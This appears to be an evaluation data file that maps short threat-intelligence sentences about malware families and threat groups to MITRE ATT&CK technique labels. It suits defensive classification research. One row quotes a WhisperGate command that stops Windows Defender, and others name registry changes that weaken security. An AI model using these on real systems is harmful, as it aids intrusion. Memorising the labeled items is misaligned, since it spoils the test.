Rocke has used Pastebin to check the version of beaconing malware and redirect to another Pastebin hosting updated malware.,['T1102.001 - Dead Drop Resolver'],eval_config
Magic Hound malware can use a SOAP Web service to communicate with its C2 server.,['T1102.002 - Bidirectional Communication'],eval_config
POLONIUM has used OneDrive and DropBox for C2.,['T1102.002 - Bidirectional Communication'],eval_config
"After initial compromise, Chaos will download a second stage to establish a more permanent presence on the affected system.",['T1104 - Multi-Stage Channels'],eval_config
"An APT3 downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.",['T1104 - Multi-Stage Channels'],eval_config
ABK has the ability to download files from C2.,['T1105 - Ingress Tool Transfer'],eval_config
"APT28 has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.",['T1105 - Ingress Tool Transfer'],eval_config
APT32 has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.,['T1105 - Ingress Tool Transfer'],eval_config
"After downloading its main config file, Downdelph downloads multiple payloads from C2 servers.",['T1105 - Ingress Tool Transfer'],eval_config
Agent Tesla can download additional files for execution on the victim’s machine.,['T1105 - Ingress Tool Transfer'],eval_config
Anchor can download additional payloads.,['T1105 - Ingress Tool Transfer'],eval_config
Aquatic Panda has downloaded additional malware onto compromised hosts.,['T1105 - Ingress Tool Transfer'],eval_config
Avenger has the ability to download files from C2 to a compromised host.,['T1105 - Ingress Tool Transfer'],eval_config
BackConfig can download and execute additional payloads on a compromised host.,['T1105 - Ingress Tool Transfer'],eval_config
Bandook can download files to the system.,['T1105 - Ingress Tool Transfer'],eval_config
Bonadan can download additional modules from the C2 server.,['T1105 - Ingress Tool Transfer'],eval_config
CARROTBAT has the ability to download and execute a remote file via certutil.,['T1105 - Ingress Tool Transfer'],eval_config
Cardinal RAT can download and execute additional payloads.,['T1105 - Ingress Tool Transfer'],eval_config
Crimson contains a command to retrieve files from its C2 server.,['T1105 - Ingress Tool Transfer'],eval_config
DRATzarus can deploy additional tools onto an infected machine.,['T1105 - Ingress Tool Transfer'],eval_config
Daserf can download remote files.,['T1105 - Ingress Tool Transfer'],eval_config
Dipsind can download remote files.,['T1105 - Ingress Tool Transfer'],eval_config
Dragonfly 2.0 copied and installed tools for operations once in the victim environment.,['T1105 - Ingress Tool Transfer'],eval_config
"During C0010, UNC3890 actors downloaded tools and malware onto a compromised host.",['T1105 - Ingress Tool Transfer'],eval_config
"During Operation Honeybee, the threat actors downloaded additional malware and malicious scripts onto a compromised host.",['T1105 - Ingress Tool Transfer'],eval_config
"During Operation Wocao, threat actors downloaded additional files to the infected system.",['T1105 - Ingress Tool Transfer'],eval_config
EVILNUM can download and upload files to the victim's computer.,['T1105 - Ingress Tool Transfer'],eval_config
FlawedAmmyy can transfer files from C2.,['T1105 - Ingress Tool Transfer'],eval_config
FoggyWeb can receive additional malicious components from an actor controlled C2 server and execute them on a compromised AD FS server.,['T1105 - Ingress Tool Transfer'],eval_config
HOPLIGHT has the ability to connect to a remote host in order to upload and download files.,['T1105 - Ingress Tool Transfer'],eval_config
Hi-Zor has the ability to upload and download files from its C2 server.,['T1105 - Ingress Tool Transfer'],eval_config
Industroyer downloads a shellcode payload from a remote C2 server and loads it into memory.,['T1105 - Ingress Tool Transfer'],eval_config
Kerrdown can download specific payloads to a compromised host based on OS architecture.,['T1105 - Ingress Tool Transfer'],eval_config
Kivars has the ability to download and execute files.,['T1105 - Ingress Tool Transfer'],eval_config
LiteDuke has the ability to download files.,['T1105 - Ingress Tool Transfer'],eval_config
"Lizar can download additional plugins, files, and tools.",['T1105 - Ingress Tool Transfer'],eval_config
Lokibot downloaded several staged items onto the victim's machine.,['T1105 - Ingress Tool Transfer'],eval_config
NavRAT can download files remotely.,['T1105 - Ingress Tool Transfer'],eval_config
Octopus can download additional files and tools onto the victim’s machine.,['T1105 - Ingress Tool Transfer'],eval_config
"Okrum has built-in commands for uploading, downloading, and executing files to the system.",['T1105 - Ingress Tool Transfer'],eval_config
QuasarRAT can download files to the victim’s machine and execute them.,['T1105 - Ingress Tool Transfer'],eval_config
Remsec contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.,['T1105 - Ingress Tool Transfer'],eval_config
SEASHARPEE can download remote files onto victims.,['T1105 - Ingress Tool Transfer'],eval_config
SHARPSTATS has the ability to upload and download files.,['T1105 - Ingress Tool Transfer'],eval_config
"Sandworm Team has pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.",['T1105 - Ingress Tool Transfer'],eval_config
Smoke Loader downloads a new version of itself once it has installed. It also downloads additional plugins.,['T1105 - Ingress Tool Transfer'],eval_config
SombRAT has the ability to download and execute additional payloads.,['T1105 - Ingress Tool Transfer'],eval_config
TDTESS has a command to download and execute an additional file.,['T1105 - Ingress Tool Transfer'],eval_config
WhisperGate can download additional stages of malware from a Discord CDN channel.,['T1105 - Ingress Tool Transfer'],eval_config
Xbash can download additional malicious files from its C2 server.,['T1105 - Ingress Tool Transfer'],eval_config
"Zebrocy obtains additional code to execute on the victim's machine, including the downloading of a secondary payload.",['T1105 - Ingress Tool Transfer'],eval_config
Zox can download files to a compromised machine.,['T1105 - Ingress Tool Transfer'],eval_config
jRAT can download and execute files.,['T1105 - Ingress Tool Transfer'],eval_config
macOS.OSAMiner has used `curl` to download a Stripped Payloads from a public facing adversary-controlled webpage.,['T1105 - Ingress Tool Transfer'],eval_config
ADVSTORESHELL is capable of starting a process using CreateProcess.,['T1106 - Native API'],eval_config
Bad Rabbit has used various Windows API calls.,['T1106 - Native API'],eval_config
Bazar can use various APIs to allocate memory and facilitate code execution/injection.,['T1106 - Native API'],eval_config
Carberp has used the NtQueryDirectoryFile and ZwQueryDirectoryFile functions to hide files and directories.,['T1106 - Native API'],eval_config
"CostaBricks has used a number of API calls, including `VirtualAlloc`, `VirtualFree`, `LoadLibraryA`, `GetProcAddress`, and `ExitProcess`.",['T1106 - Native API'],eval_config
Cyclops Blink can use various Linux API functions including those for execution and discovery.,['T1106 - Native API'],eval_config
DRATzarus can use various API calls to see if it is running in a sandbox.,['T1106 - Native API'],eval_config
"During Operation Sharpshooter, the first stage downloader resolved various Windows libraries and APIs, including `LoadLibraryA()`, `GetProcAddress()`, and `CreateProcessA()`.",['T1106 - Native API'],eval_config
Imminent Monitor has leveraged CreateProcessW() call to execute the debugger.,['T1106 - Native API'],eval_config
InnaputRAT uses the API call ShellExecuteW for execution.,['T1106 - Native API'],eval_config
Kevin can use the `ShowWindow` API to avoid detection.,['T1106 - Native API'],eval_config
Mosquito leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.,['T1106 - Native API'],eval_config
Operation Wocao has used the CreateProcessA and ShellExecute API function to launch commands after being injected into a selected process.,['T1106 - Native API'],eval_config
"PlugX can use the Windows API functions `GetProcAddress`, `LoadLibrary`, and `CreateProcess` to execute another process.",['T1106 - Native API'],eval_config
RDFSNIFFER has used several Win32 API functions to interact with the victim machine.,['T1106 - Native API'],eval_config
StrifeWater can use a variety of APIs for execution.,['T1106 - Native API'],eval_config
TA505 has deployed payloads that use Windows API calls on a compromised host.,['T1106 - Native API'],eval_config
"Taidoor has the ability to use native APIs for execution including ""GetProcessHeap"", ""GetProcAddress"", and ""LoadLibrary"".",['T1106 - Native API'],eval_config
"TinyTurla has used `WinHTTP`, `CreateProcess`, and other APIs for C2 communications and other functions.",['T1106 - Native API'],eval_config
"TrickBot uses the Windows API call, CreateProcessW(), to manage execution flow. TrickBot has also used ""Nt*"" API functions to perform Process Injection.",['T1106 - Native API'],eval_config
"Tropic Trooper has used multiple Windows APIs including HttpInitialize, HttpCreateHttpHandle, and HttpAddUrl.",['T1106 - Native API'],eval_config
XAgentOSX contains the execFile function to execute a specified file on the system using the NSTask:launch method.,['T1106 - Native API'],eval_config
njRAT has used the ShellExecute() function within a script.,['T1106 - Native API'],eval_config
APT28 can perform brute force attacks to obtain credentials.,['T1110 - Brute Force'],eval_config
CrackMapExec can brute force supplied user credentials across a network range.,['T1110 - Brute Force'],eval_config
"Turla may attempt to connect to systems within a victim's network using ""net use"" commands and a predefined list or collection of passwords.",['T1110 - Brute Force'],eval_config
MailSniper can be used for password spraying against Exchange and Office 365.,['T1110.003 - Brute Force: Password Spraying'],eval_config
APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys.,['T1112 - Modify Registry'],eval_config
Avaddon modifies several registry keys for persistence and UAC bypass.,['T1112 - Modify Registry'],eval_config
Bisonal has deleted Registry keys to clean up its prior activity.,['T1112 - Modify Registry'],eval_config
CHOPSTICK may store RC4 encrypted configuration information in the Windows Registry.,['T1112 - Modify Registry'],eval_config
Catchamas creates three Registry keys to establish persistence by adding a Windows Service.,['T1112 - Modify Registry'],eval_config
"Cobalt Strike can modify Registry values within ""HKEY_CURRENT_USER\Software\Microsoft\Office\<Excel Version>\Excel\Security\AccessVBOM\"" to enable the execution of additional code.",['T1112 - Modify Registry'],eval_config
"DarkComet adds a Registry value for its installation routine to the Registry Key ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System Enable LUA=”0”"" and ""HKEY_CURRENT_USER\Software\DC3_FEXEC"".",['T1112 - Modify Registry'],eval_config
"During Operation Wocao, the threat actors enabled Wdigest by changing the `HKLM\SYSTEM\\ControlSet001\\Control\\SecurityProviders\\WDigest` registry value from 0 (disabled) to 1 (enabled).",['T1112 - Modify Registry'],eval_config
Lazarus Group has modified registry keys using the reg windows utility for its custom backdoor implants.,['T1112 - Modify Registry'],eval_config
Pandora can write an encrypted token to the Registry to enable processing of remote commands.,['T1112 - Modify Registry'],eval_config
Pysa has modified the registry key “SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System” and added the ransom note.,['T1112 - Modify Registry'],eval_config
QUADAGENT modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.,['T1112 - Modify Registry'],eval_config
RCSession can write its configuration file to the Registry.,['T1112 - Modify Registry'],eval_config
StreamEx has the ability to modify the Registry.,['T1112 - Modify Registry'],eval_config
Stuxnet can create registry keys to load driver files.,['T1112 - Modify Registry'],eval_config
TEARDROP modified the Registry to create a Windows service for itself on a compromised host.,['T1112 - Modify Registry'],eval_config
ZxShell can create Registry entries to enable services to run.,['T1112 - Modify Registry'],eval_config
CHOPSTICK has the capability to capture screenshots.,['T1113 - Screen Capture'],eval_config
Carberp can capture display screenshots with the screens_dll.dll plugin.,['T1113 - Screen Capture'],eval_config
Flame can take regular screenshots when certain applications are open that are sent to the command and control server.,['T1113 - Screen Capture'],eval_config
Gamaredon Group's malware can take screenshots of the compromised computer every minute.,['T1113 - Screen Capture'],eval_config
Magic Hound malware can take a screenshot and upload the file to its C2 server.,['T1113 - Screen Capture'],eval_config
MarkiRAT can capture screenshots that are initially saved as ‘scr.jpg’.,['T1113 - Screen Capture'],eval_config
Octopus can capture screenshots of the victims’ machine.,['T1113 - Screen Capture'],eval_config
POWERSTATS can retrieve screenshots from compromised hosts.,['T1113 - Screen Capture'],eval_config
PlugX allows the operator to capture screenshots.,['T1113 - Screen Capture'],eval_config
"PowerSploit's ""Get-TimedScreenshot"" Exfiltration module can take screenshots at regular intervals.",['T1113 - Screen Capture'],eval_config
RainyDay has the ability to capture screenshots.,['T1113 - Screen Capture'],eval_config
StrifeWater has the ability to take screen captures.,['T1113 - Screen Capture'],eval_config
Zeus Panda can take screenshots of the victim’s machine.,['T1113 - Screen Capture'],eval_config
Dragonfly leveraged Outlook Web Access.,['T1114 - Email Collection'],eval_config
KGH_SPY can harvest data from mail clients.,['T1114.001 - Email Collection: Local Email Collection'],eval_config
"APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. MAPIGET steals email still on Exchange servers that has not yet been archived.",['T1114.002 - Email Collection: Remote Email Collection'],eval_config
Dragonfly has accessed email accounts using Outlook Web Access.,['T1114.002 - Email Collection: Remote Email Collection'],eval_config
Astaroth collects information from the clipboard by using the OpenClipboard() and GetClipboardData() libraries.,['T1115 - Clipboard Data'],eval_config
Grandoreiro can capture clipboard data from a compromised host.,['T1115 - Clipboard Data'],eval_config
Koadic can retrieve the current content of the user clipboard.,['T1115 - Clipboard Data'],eval_config
RTM collects data from the clipboard.,['T1115 - Clipboard Data'],eval_config
TajMahal has the ability to steal data from the clipboard of an infected host.,['T1115 - Clipboard Data'],eval_config
Zeus Panda can hook GetClipboardData function to watch for clipboard pastes to collect.,['T1115 - Clipboard Data'],eval_config
LightNeuron can be configured to automatically collect files under a specified directory.,['T1119 - Automated Collection'],eval_config
Proxysvc automatically collects data about the victim and sends it to the control server.,['T1119 - Automated Collection'],eval_config
ROADTools automatically gathers data from Azure AD environments using the Azure Graph API.,['T1119 - Automated Collection'],eval_config
Rover automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.,['T1119 - Automated Collection'],eval_config
"T9000 searches removable storage devices for files with a pre-defined list of file extensions (e.g. * .doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.",['T1119 - Automated Collection'],eval_config
A module in Prikormka collects information on available printers and disk drives.,['T1120 - Peripheral Device Discovery'],eval_config
Machete detects the insertion of new devices by listening for the WM_DEVICECHANGE window message.,['T1120 - Peripheral Device Discovery'],eval_config
Turian can scan for removable media to collect data.,['T1120 - Peripheral Device Discovery'],eval_config
Bandook has modules that are capable of capturing audio.,['T1123 - Audio Capture'],eval_config
Micropsia can perform microphone recording.,['T1123 - Audio Capture'],eval_config
A Destover-like implant used by Lazarus Group can obtain the current system time and send it to the C2 server.,['T1124 - System Time Discovery'],eval_config
Agent Tesla can collect the timestamp from the victim’s machine.,['T1124 - System Time Discovery'],eval_config
Azorult can collect the time zone information from the system.,['T1124 - System Time Discovery'],eval_config
Bazar can collect the time on the compromised host.,['T1124 - System Time Discovery'],eval_config
Cannon can collect the current time zone information from the victim’s machine.,['T1124 - System Time Discovery'],eval_config
"EvilBunny has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to gather time metrics as part of its checks to see if the malware is running in a sandbox.",['T1124 - System Time Discovery'],eval_config
"Operation Wocao has used the ""time"" command to retrieve the current time of a compromised system.",['T1124 - System Time Discovery'],eval_config
ShadowPad has collected the current date and time of the victim system.,['T1124 - System Time Discovery'],eval_config
Shamoon obtains the system time and will only activate if it is greater than a preset date.,['T1124 - System Time Discovery'],eval_config
TajMahal has the ability to determine local time on a compromised host.,['T1124 - System Time Discovery'],eval_config
"The ""net time"" command can be used in Net to determine the local or remote system time.",['T1124 - System Time Discovery'],eval_config
Torisma can collect the current time on a victim machine.,['T1124 - System Time Discovery'],eval_config
Zeus Panda collects the current system time (UTC) and sends it back to the C2 server.,['T1124 - System Time Discovery'],eval_config
Machete takes photos from the computer’s web camera.,['T1125 - Video Capture'],eval_config
Pupy can access a connected webcam and capture pictures.,['T1125 - Video Capture'],eval_config
Silence has been observed making videos of victims to observe bank employees day to day activities.,['T1125 - Video Capture'],eval_config
njRAT can access the victim's webcam.,['T1125 - Video Capture'],eval_config
A Lazarus Group malware sample encodes data with base64.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
CORESHELL C2 messages are Base64-encoded.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
"Cobalt Strike can use Base64, URL-safe Base64, or NetBIOS encoding in its C2 traffic.",['T1132.001 - Data Encoding: Standard Encoding'],eval_config
Flagpro has encoded bidirectional data communications between a target system and C2 server using Base64.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
Revenge RAT uses Base64 to encode information sent to the C2 server.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
S-Type uses Base64 encoding for C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
Saint Bot has used Base64 to encode its C2 communications.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
Spark has encoded communications with the C2 server with base64.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
SpeakUp encodes C&C communication using Base64.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
Torisma has encoded C2 communications with Base64.,['T1132.001 - Data Encoding: Standard Encoding'],eval_config
Bankshot encodes commands from the control server using a range of characters and gzip.,['T1132.002 - Non-Standard Encoding'],eval_config
"FIN5 has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.",['T1133 - External Remote Services'],eval_config
Hildegard was executed through an unsecure kubelet that allowed anonymous access to the victim environment.,['T1133 - External Remote Services'],eval_config
Wizard Spider has accessed victim networks by using stolen credentials to access the corporate VPN infrastructure.,['T1133 - External Remote Services'],eval_config
"Cuba has used ""SeDebugPrivilege"" and ""AdjustTokenPrivileges"" to elevate privileges.",['T1134 - Access Token Manipulation'],eval_config
PoshC2 can use Invoke-TokenManipulation for manipulating tokens.,['T1134 - Access Token Manipulation'],eval_config
FIN8 has used a malicious framework designed to impersonate the lsass.exe/vmtoolsd.exe token.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],eval_config
"The WhisperGate third stage can use the AdvancedRun.exe tool to execute commands in the context of the Windows TrustedInstaller group via `%TEMP%\AdvancedRun.exe"" /EXEFilename ""C:\Windows\System32\sc.exe"" /WindowState 0 /CommandLine ""stop WinDefend"" /StartDirectory """" /RunAs 8 /Run`.",['T1134.002 - Create Process with Token'],eval_config
PipeMon can use parent PID spoofing to elevate privileges.,['T1134.004 - Access Token Manipulation: Parent PID Spoofing'],eval_config
Babuk has the ability to enumerate network shares.,['T1135 - Network Share Discovery'],eval_config
Bad Rabbit enumerates open SMB shares on internal victim networks.,['T1135 - Network Share Discovery'],eval_config
"BitPaymer can search for network shares on the domain or workgroup using ""net view <host>"".",['T1135 - Network Share Discovery'],eval_config
CrackMapExec can enumerate the shared folders and associated permissions for a targeted network.,['T1135 - Network Share Discovery'],eval_config
"Dragonfly has identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",['T1135 - Network Share Discovery'],eval_config
"Dragonfly identified and browsed file servers on the victim network, viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",['T1135 - Network Share Discovery'],eval_config
"During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.",['T1135 - Network Share Discovery'],eval_config
Flagpro has been used to execute `net view` to discover mapped network shares.,['T1135 - Network Share Discovery'],eval_config
Operation Wocao has discovered network disks mounted to the system using netstat.,['T1135 - Network Share Discovery'],eval_config
Ramsay can scan for network drives which may contain documents for collection.,['T1135 - Network Share Discovery'],eval_config
Empire has a module for creating a local user if permissions allow.,['T1136.001 - Create Account: Local Account'],eval_config
GALLIUM created high-privileged domain user accounts to maintain access to victim networks.,['T1136.002 - Create Account: Domain Account'],eval_config
AADInternals can create new Azure AD users.,['T1136.003 - Create Account: Cloud Account'],eval_config
A OilRig macro has run a PowerShell command to decode file contents. OilRig has also used certutil to decode base64-encoded files on victims.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Action RAT can use Base64 to decode actor-controlled C2 server communications.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"After checking for the existence of two files, keyword_parm.txt and parm.txt, MESSAGETAP XOR decodes and read the contents of the files.",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
BendyBear has decrypted function blocks using a XOR key during runtime to evade detection.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
CostaBricks has the ability to use bytecode to decrypt embedded payloads.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
DanBot can use a VBA macro to decode its payload prior to installation and execution.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Dyre decrypts resources needed for targeting the victim.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
FIVEHANDS has the ability to decrypt its payload prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Final1stspy uses Python code to deobfuscate base64-encoded strings.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
KONNI has used certutil to download and decode base64 encoded strings and has also devoted a custom section to performing all the components of the deobfuscation process.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Lizar can decrypt its configuration data.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
LookBack has a function that decrypts malicious data.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
MegaCortex has used a Base64 key to decode its components.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
More_eggs will decode malware components that are then dropped to the system.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
POWERSTATS can deobfuscate the main backdoor code.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
PingPull can decrypt received data from its C2 server by using AES.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
PolyglotDuke can use a custom algorithm to decrypt strings used by the malware.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
RainyDay can decrypt its payload via a XOR key.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
SQLRat has scripts that are responsible for deobfuscating additional scripts.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Shamoon decrypts ciphertext using an XOR cipher and a base64-encoded string.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Shark can extract and decrypt downloaded .zip files.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Siloscape has decrypted the password of the C2 server with a simple byte by byte XOR. Siloscape also writes both an archive of Tor and the ""unzip"" binary to disk from data embedded within the payload using Visual Studio’s Resource Manager.",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Stuxnet decrypts resources that are loaded into memory and executed.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
WarzoneRAT can use XOR 0x45 to decrypt obfuscated code.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
ZxxZ has used a XOR key to decrypt strings.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
Stolen Pencil victims are prompted to install malicious Google Chrome extensions which gave the threat actor the ability to read data from any website accessed.,['T1176 - Browser Extensions'],eval_config
Grandoreiro can monitor browser activity for online banking actions and display full-screen overlay images to block user access to the intended site or present additional data fields.,['T1185 - Browser Session Hijacking'],eval_config
Melcoz can monitor the victim's browser for online banking sessions and display an overlay window to manipulate the session in the background.,['T1185 - Browser Session Hijacking'],eval_config
"RTM has distributed its malware via the RIG and SUNDOWN exploit kits, as well as online advertising network ""Yandex.Direct"".",['T1189 - Drive-by Compromise'],eval_config
"Transparent Tribe has used websites with malicious hyperlinks and iframes to infect targeted victims with Crimson, njRAT, and other malicious tools.",['T1189 - Drive-by Compromise'],eval_config
"During Night Dragon, threat actors used SQL injection exploits against extranet web servers to gain access.",['T1190 - Exploit Public-Facing Application'],eval_config
GALLIUM exploited a publicly-facing servers including Wildfly/JBoss servers to gain access to the network.,['T1190 - Exploit Public-Facing Application'],eval_config
Siloscape is executed after the attacker gains initial access to a Windows container using a known vulnerability.,['T1190 - Exploit Public-Facing Application'],eval_config
"ZxShell has been dropped through exploitation of CVE-2011-2462, CVE-2013-3163, and CVE-2014-0322.",['T1190 - Exploit Public-Facing Application'],eval_config
UNC2452 gained initial network access via a trojanized update of SolarWinds Orion software.,['T1195.002 - Compromise Software Supply Chain'],eval_config
Bazar has been downloaded via Windows BITS functionality.,['T1197 - BITS Jobs'],eval_config
Threat Group-3390 has compromised third party service providers to gain access to victim's environments.,['T1199 - Trusted Relationship'],eval_config
menuPass has used legitimate access granted to Managed Service Providers in order to access victims of interest.,['T1199 - Trusted Relationship'],eval_config
CrackMapExec can discover the password policies applied to the target system.,['T1201 - Password Policy Discovery'],eval_config
"Andariel has exploited numerous ActiveX vulnerabilities, including zero-days.",['T1203 - Exploitation for Client Execution'],eval_config
"BlackTech has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities CVE-2012-0158, CVE-2014-6352, CVE-2017-0199, and Adobe Flash CVE-2015-5119.",['T1203 - Exploitation for Client Execution'],eval_config
Darkhotel has exploited Adobe Flash vulnerability CVE-2015-8651 for execution.,['T1203 - Exploitation for Client Execution'],eval_config
DealersChoice leverages vulnerable versions of Flash to perform execution.,['T1203 - Exploitation for Client Execution'],eval_config
Higaisa has exploited CVE-2018-0798 for execution.,['T1203 - Exploitation for Client Execution'],eval_config
Sidewinder has exploited vulnerabilities to gain execution including CVE-2017-11882 and CVE-2020-0674.,['T1203 - Exploitation for Client Execution'],eval_config
"Xbash can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.",['T1203 - Exploitation for Client Execution'],eval_config
APT28 has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.,['T1204.001 - Malicious Link'],eval_config
BackConfig has compromised victims via links to URLs hosting malicious content.,['T1204.001 - Malicious Link'],eval_config
BlackTech has used e-mails with malicious links to lure victims into installing malware.,['T1204.001 - Malicious Link'],eval_config
Bumblebee has relied upon a user downloading a file from a OneDrive link for execution.,['T1204.001 - Malicious Link'],eval_config
"During C0011, Transparent Tribe relied on student targets to click on a malicious link sent via email.",['T1204.001 - Malicious Link'],eval_config
"During Operation Dust Storm, the threat actors relied on a victim clicking on a malicious link sent via email.",['T1204.001 - Malicious Link'],eval_config
Emotet has relied upon users clicking on a malicious link delivered through spearphishing.,['T1204.001 - Malicious Link'],eval_config
FIN8 has used emails with malicious links to lure victims into installing malware.,['T1204.001 - Malicious Link'],eval_config
"TA505 has used lures to get users to click links in emails and attachments. For example, TA505 makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files.",['T1204.001 - Malicious Link'],eval_config
APT19 attempted to get users to launch malicious attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],eval_config
APT33 has used malicious e-mail attachments to lure victims into executing malware.,['T1204.002 - User Execution: Malicious File'],eval_config
Andariel has attempted to lure victims into enabling malicious macros within email attachments.,['T1204.002 - User Execution: Malicious File'],eval_config
BADFLICK has relied upon users clicking on a malicious attachment delivered through spearphishing.,['T1204.002 - User Execution: Malicious File'],eval_config
Bandook has used lure documents to convince the user to enable macros.,['T1204.002 - User Execution: Malicious File'],eval_config
Chaes requires the user to click on the malicious Word document to execute the next part of the attack.,['T1204.002 - User Execution: Malicious File'],eval_config
Darkhotel has sent spearphishing emails in an attempt to lure users into clicking on a malicious attachments.,['T1204.002 - User Execution: Malicious File'],eval_config
Dragonfly 2.0 has used various forms of spearphishing in attempts to get users to open attachments.,['T1204.002 - User Execution: Malicious File'],eval_config
"During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.",['T1204.002 - User Execution: Malicious File'],eval_config
"During Frankenstein, the threat actors relied on a victim to enable macros within a malicious Microsoft Word document likely sent via email.",['T1204.002 - User Execution: Malicious File'],eval_config
"During Operation Honeybee, threat actors relied on a victim to enable macros within a malicious Word document.",['T1204.002 - User Execution: Malicious File'],eval_config
Flagpro has relied on users clicking a malicious attachment delivered through spearphishing.,['T1204.002 - User Execution: Malicious File'],eval_config
HEXANE has relied on victim's executing malicious file attachments delivered via email or embedded within actor-controlled websites to deliver malware.,['T1204.002 - User Execution: Malicious File'],eval_config
"Hancitor has used malicious Microsoft Word documents, sent via email, which prompted the victim to enable macros.",['T1204.002 - User Execution: Malicious File'],eval_config
Inception lured victims into clicking malicious files for machine reconnaissance and to execute malware.,['T1204.002 - User Execution: Malicious File'],eval_config
KOCTOPUS has relied on victims clicking a malicious document for execution.,['T1204.002 - User Execution: Malicious File'],eval_config
Machete has relied on users opening malicious attachments delivered through spearphishing to execute malware.,['T1204.002 - User Execution: Malicious File'],eval_config
PLEAD has been executed via malicious e-mail attachments.,['T1204.002 - User Execution: Malicious File'],eval_config
ROKRAT has relied upon users clicking on a malicious attachment delivered through spearphishing.,['T1204.002 - User Execution: Malicious File'],eval_config
SYSCON has been executed by luring victims to open malicious e-mail attachments.,['T1204.002 - User Execution: Malicious File'],eval_config
Sharpshooter has sent malicious DOC and PDF files to targets so that they can be opened by a user.,['T1204.002 - User Execution: Malicious File'],eval_config
SideCopy has attempted to lure victims into clicking on malicious embedded archive files sent via spearphishing campaigns.,['T1204.002 - User Execution: Malicious File'],eval_config
The GuLoader executable has been retrieved via embedded macros in malicious Word documents.,['T1204.002 - User Execution: Malicious File'],eval_config
Transparent Tribe has used weaponized documents in e-mail to compromise targeted systems.,['T1204.002 - User Execution: Malicious File'],eval_config
TrickBot has attempted to get users to launch malicious documents to deliver its payload.,['T1204.002 - User Execution: Malicious File'],eval_config
Valak has been executed via Microsoft Word documents containing malicious macros.,['T1204.002 - User Execution: Malicious File'],eval_config
Whitefly has used malicious .exe or .dll files disguised as documents or images.,['T1204.002 - User Execution: Malicious File'],eval_config
"Chaos provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.",['T1205 - Traffic Signaling'],eval_config
"Penquin will connect to C2 only after sniffing a ""magic packet"" value in TCP or UDP packets matching specific conditions.",['T1205 - Traffic Signaling'],eval_config
"TrickBot utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.",['T1210 - Exploitation of Remote Services'],eval_config
APT28 has used CVE-2015-4902 to bypass security features.,['T1211 - Exploitation for Defense Evasion'],eval_config
Chimera has collected documents from the victim's SharePoint.,['T1213.002 - Sharepoint'],eval_config
"Machete retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers.",['T1217 - Browser Bookmark Discovery'],eval_config
"Lazarus Group lnk files used for persistence have abused the Windows Update Client (""wuauclt.exe"") to execute a malicious DLL.",['T1218 - Signed Binary Proxy Execution'],eval_config
Dark Caracal leveraged a compiled HTML file that contained a command to download and run an executable.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],eval_config
Lazarus Group has used CHM files to move concealed payloads.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],eval_config
